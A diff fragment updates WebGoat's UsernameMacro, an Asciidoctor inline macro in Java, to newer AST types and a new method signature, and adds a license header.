+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
 package org.owasp.webgoat.container.asciidoc;
 
 import java.util.Map;
-import org.asciidoctor.ast.ContentNode;
+import org.asciidoctor.ast.PhraseNode;
+import org.asciidoctor.ast.StructuralNode;
 import org.asciidoctor.extension.InlineMacroProcessor;
 import org.owasp.webgoat.container.users.WebGoatUser;
 import org.springframework.security.core.context.SecurityContextHolder;
@@ -17,7 +22,8 @@ public class UsernameMacro extends InlineMacroProcessor {
   }
 
   @Override
-  public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
+  public PhraseNode process(
+      StructuralNode contentNode, String target, Map<String, Object> attributes) {
     var auth = SecurityContextHolder.getContext().getAuthentication();
     var username = "unknown";
     if (auth.getPrincipal() instanceof WebGoatUser webGoatUser) {